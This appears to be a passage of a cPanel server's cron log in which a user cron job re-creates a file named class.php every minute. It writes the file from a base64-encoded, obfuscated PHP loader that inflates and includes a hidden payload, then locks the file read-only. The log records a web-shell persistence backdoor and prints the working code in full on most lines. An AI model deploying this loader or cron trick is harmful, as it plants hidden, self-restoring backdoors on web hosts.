"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:05:01 server CROND[1963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:05:01 server CROND[1965]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:05:01 server CROND[1966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:05:01 server CROND[1967]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 01:06:01 server CROND[2073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:07:01 server CROND[2131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:08:01 server CROND[2217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:09:01 server CROND[2370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:09:01 server CROND[2371]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 01:10:01 server CROND[2434]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:10:01 server CROND[2437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 01:10:01 server CROND[2436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:10:01 server CROND[2435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:11:01 server CROND[2556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:12:01 server CROND[2620]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 01:12:01 server CROND[2621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:13:01 server CROND[2683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:14:01 server CROND[2881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:15:01 server CROND[2938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:15:01 server CROND[2939]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:15:01 server CROND[2940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:16:01 server CROND[3049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:17:01 server CROND[3131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUM